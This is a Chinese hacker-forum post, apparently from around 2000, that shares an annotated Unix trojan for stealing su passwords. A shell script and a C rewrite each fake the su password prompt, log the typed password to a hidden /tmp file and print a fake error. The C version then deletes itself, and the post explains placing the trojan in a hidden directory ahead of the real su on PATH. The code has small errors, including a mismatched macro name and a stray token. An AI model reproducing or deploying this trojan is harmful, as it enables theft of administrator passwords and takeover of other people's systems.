给linux高手大鹰的linux木马shell脚本实例改进版加上注解

/ns/hk/hacker/data/20010114120754.htm

注:大鹰是补天网络安全公司的技术部的领导,是个LINUX的高手,他们时间比较少,不可以详细的把原理给大家讲清楚,我抽时间把他的这个加了注解.我嘛,一个普通的军人,一个向往网络战争的普通人,一个马上要转业的军人,一个转业了以后也会为中国网络安全和中国战争考虑的普通人.我的信箱是yuleibo@sina.com 我的OICQ号码是5008022,我们20CN网络安全小组的主页是www.20cn.net 事在人为,我没有条件和大家一样经常上网,只好在网下给大家做一些这样的工作,请大家一定要珍惜自己的条件.在学习NT,思考学习LINUX,实践VB编程,向往VC编程中,我一直认为我是个菜鸟,好多的知识不知道,不过我一直认为自己有黑客的精神:"对知识的不断的追求,对不懂问题的不断的探索,对大家没有提到问题的思考,对其他新手朋友的帮助."/

大家好!
上次那个shell脚本的文章,abu帮我发给大家了,不是为了什么,主要就是
提醒大家注意的是shell在unix中的重要地位,熟悉了shell就等于熟悉了unix
的外壳,嘿嘿,你的unix就算已经入门了。
好了,言归正传,这个方法使用范围不广,其实不是为了破坏,呵呵,在freebsd
中su的却省位置就在/usr/bin下,所以你也无法入侵。上次的脚本在读用户的输入
密码时有缺憾,用户输入时,密码是明文的,这容易引起怀疑,我改了一下使其
不再显示用户输入密码。
#! /bin/sh

stty echo

echo -n "Password:"

read PASSWD 1>/dev/null /*也就是在这行上做文章,大家看懂了?把此命令的标准输出文件描述符重定向到/dev/null这个unix黑洞中*/ /*他所说的那个>是一个重定向符号,实际上就是把>左边的输出作为>右边 的输入,在理解的过程中,你可以认为左边的是你说话,右边是录音机,录 音机录下来的不是大自然的声音,而是你输出的声音,*/

stty echo

echo

echo "Sorry"

echo "$1/$2:$PASSWD">>/tmp/.eagle

如有问题,请来信询问,嘿嘿




--------------------------------------------------------------------------------
回复人:大鹰 回复时间:2000-12-1 14:27:32
我用c重写:
#include <stdio.h> /*包含库文件<stdio.h>*/
#include <stdlib.h> /*包含库文件<stdlib.h>*/

#define SU_PAS "/tmp/.eagle" /*用SU。PAS来在程序里面代替"/tmp/.eagle"*/

main (int argc, char *argv[]) /*主程序的开头和它的参数*/
{
char *key; /*定义*KEY为一个字符串变量*/
char buf[24]; /*定义BUF[24]*为一个字符数组*/
FILE *fd; /*定义文件指针FD,如果你学习基本的C,你会明白上面的道理,因 为FILE代表的是文件,而*代表的是指针,后面的FD是指它就是指针*/

key = (char *)getpass ("Password:"); GET
fd = fopen(SU_PASS,"w"); /*用文件指针打开SU.PASS文件,用"W"来代表写的工作方式,*/
fprintf(fd, "pass: %s\n", key);/*打印出来PASS提示,把变量KEY作为输入*/
fclose(fd); /*关闭文件指针,这样的话,就可以关闭保存文件了大家要学习C语 言呀!不是很难的,只要你不去自己开发太大的程序的话,看懂大 鹰的这个程序的C语言,我只用了三天看C语言的书,当然,我不是 天才,大家也不要就认为我是高手*/
printf ("su: incorrect password\n"); /*打印出""里面的字符*/
sprintf(buf, "rm %s", argv[0]);
system(buf);
exit(1); /*退出*/
}
/* 这次我用c来实现,用的时候需在主目录下建立一个隐藏目录,如.eagle,把su程序考到下面,编译,然后
再add PATH=$HOME/.eagle:$PATH,( 记住要使$HOME/.eagle在$PATH之前)ok了,呵呵*/

/*PATH=$HOME/.eagle:$PATH是什么意思呢?主要是把大鹰的这个程序的路径加到启动的里面,就和在AUTOEXEC.BAT里面的调用是一样,熟悉DOS操作系统的朋友应该知道,在调用一个外部命令的时候,如果不是在自己当前的目录下面是不行的,但是如果在启动的加载里面有这个路径的话,就可以了, 他的"PATH="也就是这个道理,其实操作系统的原理大部分相同,我们在学习的过程中不要认为有多难,我的上网的时间不是很多,况且现在连电脑都找不到地方放,我水平有限,请大家不要写信给我问问题,写信教我或者和我交流问题,我很感谢*/